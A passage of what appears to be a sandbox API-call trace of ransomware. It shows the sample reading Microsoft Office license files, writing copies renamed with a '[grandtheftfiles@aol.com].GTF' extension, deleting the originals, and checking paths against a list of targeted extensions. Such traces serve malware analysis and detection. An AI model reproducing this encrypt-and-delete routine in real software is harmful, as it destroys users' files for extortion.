	[0173.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0173.307] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.307] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.308] GetLastError () returned 0x0
	[0173.308] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x564b, lpOverlapped=0x0) returned 1
	[0173.311] WriteFile (in: hFile=0x570, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0173.312] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.312] WriteFile (in: hFile=0x570, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x112, lpOverlapped=0x0) returned 1
	[0173.312] SetEndOfFile (hFile=0x570) returned 1
	[0173.312] CloseHandle (hObject=0x570) returned 1
	[0173.313] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.313] SetEndOfFile (hFile=0x55c) returned 1
	[0173.315] CloseHandle (hObject=0x55c) returned 1
	[0173.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 1
	[0173.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0173.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0173.317] lstrlenW (lpString=".doc") returned 4
	[0173.317] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.317] lstrlenW (lpString=".docx") returned 5
	[0173.317] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.317] lstrlenW (lpString=".pdf") returned 4
	[0173.317] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.317] lstrlenW (lpString=".xls") returned 4
	[0173.317] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.317] lstrlenW (lpString=".xlsx") returned 5
	[0173.317] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.317] lstrlenW (lpString=".ppt") returned 4
	[0173.317] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0173.318] lstrlenW (lpString=".zip") returned 4
	[0173.318] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.318] lstrlenW (lpString=".rar") returned 4
	[0173.318] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.318] lstrlenW (lpString=".bz2") returned 4
	[0173.318] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.318] lstrlenW (lpString=".7z") returned 3
	[0173.318] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0173.318] lstrlenW (lpString=".dbf") returned 4
	[0173.318] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0173.318] lstrlenW (lpString=".1cd") returned 4
	[0173.318] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0173.318] lstrlenW (lpString=".jpg") returned 4
	[0173.318] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0173.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0173.318] lstrlenW (lpString=".doc") returned 4
	[0173.318] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.318] lstrlenW (lpString=".docx") returned 5
	[0173.318] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.318] lstrlenW (lpString=".pdf") returned 4
	[0173.318] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.319] lstrlenW (lpString=".xls") returned 4
	[0173.319] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.319] lstrlenW (lpString=".xlsx") returned 5
	[0173.319] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.319] lstrlenW (lpString=".ppt") returned 4
	[0173.319] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0173.319] lstrlenW (lpString=".zip") returned 4
	[0173.319] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.319] lstrlenW (lpString=".rar") returned 4
	[0173.319] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.319] lstrlenW (lpString=".bz2") returned 4
	[0173.319] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.319] lstrlenW (lpString=".7z") returned 3
	[0173.319] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0173.319] lstrlenW (lpString=".dbf") returned 4
	[0173.319] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0173.319] lstrlenW (lpString=".1cd") returned 4
	[0173.319] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0173.319] lstrlenW (lpString=".jpg") returned 4
	[0173.319] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.319] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.319] lstrlenW (lpString="HomeBusinessR_Retail-ul-oob.xrm-ms") returned 34
	[0173.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0173.320] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11609) returned 1
	[0173.320] CloseHandle (hObject=0x55c) returned 1
	[0173.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 0x220
	[0173.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0173.321] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.321] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.322] GetLastError () returned 0x0
	[0173.322] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d59, lpOverlapped=0x0) returned 1
	[0173.324] WriteFile (in: hFile=0x570, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0173.325] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.325] WriteFile (in: hFile=0x570, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x118, lpOverlapped=0x0) returned 1
	[0173.325] SetEndOfFile (hFile=0x570) returned 1
	[0173.326] CloseHandle (hObject=0x570) returned 1
	[0173.326] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.326] SetEndOfFile (hFile=0x55c) returned 1
	[0173.329] CloseHandle (hObject=0x55c) returned 1
	[0173.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 1
	[0173.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0173.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0173.330] lstrlenW (lpString=".doc") returned 4
	[0173.330] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.331] lstrlenW (lpString=".docx") returned 5
	[0173.331] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.331] lstrlenW (lpString=".pdf") returned 4
	[0173.331] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.331] lstrlenW (lpString=".xls") returned 4
	[0173.331] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.331] lstrlenW (lpString=".xlsx") returned 5
	[0173.331] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.331] lstrlenW (lpString=".ppt") returned 4
	[0173.331] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0173.331] lstrlenW (lpString=".zip") returned 4
	[0173.331] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.331] lstrlenW (lpString=".rar") returned 4
	[0173.331] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.331] lstrlenW (lpString=".bz2") returned 4
	[0173.331] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.331] lstrlenW (lpString=".7z") returned 3
	[0173.331] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0173.331] lstrlenW (lpString=".dbf") returned 4
	[0173.331] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0173.331] lstrlenW (lpString=".1cd") returned 4
	[0173.331] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0173.331] lstrlenW (lpString=".jpg") returned 4
	[0173.331] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0173.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0173.331] lstrlenW (lpString=".doc") returned 4
	[0173.331] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.331] lstrlenW (lpString=".docx") returned 5
	[0173.332] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.332] lstrlenW (lpString=".pdf") returned 4
	[0173.332] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.332] lstrlenW (lpString=".xls") returned 4
	[0173.332] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.332] lstrlenW (lpString=".xlsx") returned 5
	[0173.332] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.332] lstrlenW (lpString=".ppt") returned 4
	[0173.332] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0173.332] lstrlenW (lpString=".zip") returned 4
	[0173.332] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.332] lstrlenW (lpString=".rar") returned 4
	[0173.332] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.332] lstrlenW (lpString=".bz2") returned 4
	[0173.332] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.332] lstrlenW (lpString=".7z") returned 3
	[0173.332] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0173.332] lstrlenW (lpString=".dbf") returned 4
	[0173.332] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0173.332] lstrlenW (lpString=".1cd") returned 4
	[0173.332] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0173.332] lstrlenW (lpString=".jpg") returned 4
	[0173.332] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.332] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.332] lstrlenW (lpString="HomeBusinessR_Retail-ul-phn.xrm-ms") returned 34
	[0173.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0173.564] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=19954) returned 1
	[0173.565] CloseHandle (hObject=0x45c) returned 1
	[0173.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 0x220
	[0173.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0173.565] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.565] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0173.567] GetLastError () returned 0x0
	[0173.567] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x4df2, lpOverlapped=0x0) returned 1
	[0173.569] WriteFile (in: hFile=0x534, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0173.570] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.571] WriteFile (in: hFile=0x534, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x118, lpOverlapped=0x0) returned 1
	[0173.571] SetEndOfFile (hFile=0x534) returned 1
	[0173.571] CloseHandle (hObject=0x534) returned 1
	[0173.571] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.571] SetEndOfFile (hFile=0x45c) returned 1
	[0173.574] CloseHandle (hObject=0x45c) returned 1
	[0173.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 1
	[0173.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0173.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0173.575] lstrlenW (lpString=".doc") returned 4
	[0173.575] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.575] lstrlenW (lpString=".docx") returned 5
	[0173.575] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.575] lstrlenW (lpString=".pdf") returned 4
	[0173.575] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.575] lstrlenW (lpString=".xls") returned 4
	[0173.575] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.575] lstrlenW (lpString=".xlsx") returned 5
	[0173.575] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.575] lstrlenW (lpString=".ppt") returned 4
	[0173.575] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0173.576] lstrlenW (lpString=".zip") returned 4
	[0173.576] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.576] lstrlenW (lpString=".rar") returned 4
	[0173.576] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.576] lstrlenW (lpString=".bz2") returned 4
	[0173.576] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.576] lstrlenW (lpString=".7z") returned 3
	[0173.576] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0173.576] lstrlenW (lpString=".dbf") returned 4
	[0173.576] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0173.576] lstrlenW (lpString=".1cd") returned 4
	[0173.576] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0173.576] lstrlenW (lpString=".jpg") returned 4
	[0173.576] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0173.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0173.577] lstrlenW (lpString=".doc") returned 4
	[0173.577] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.577] lstrlenW (lpString=".docx") returned 5
	[0173.577] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.577] lstrlenW (lpString=".pdf") returned 4
	[0173.577] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.577] lstrlenW (lpString=".xls") returned 4
	[0173.577] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.577] lstrlenW (lpString=".xlsx") returned 5
	[0173.577] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.577] lstrlenW (lpString=".ppt") returned 4
	[0173.577] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0173.577] lstrlenW (lpString=".zip") returned 4
	[0173.577] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.577] lstrlenW (lpString=".rar") returned 4
	[0173.577] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.577] lstrlenW (lpString=".bz2") returned 4
	[0173.577] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.577] lstrlenW (lpString=".7z") returned 3
	[0173.577] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0173.577] lstrlenW (lpString=".dbf") returned 4
	[0173.577] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0173.577] lstrlenW (lpString=".1cd") returned 4
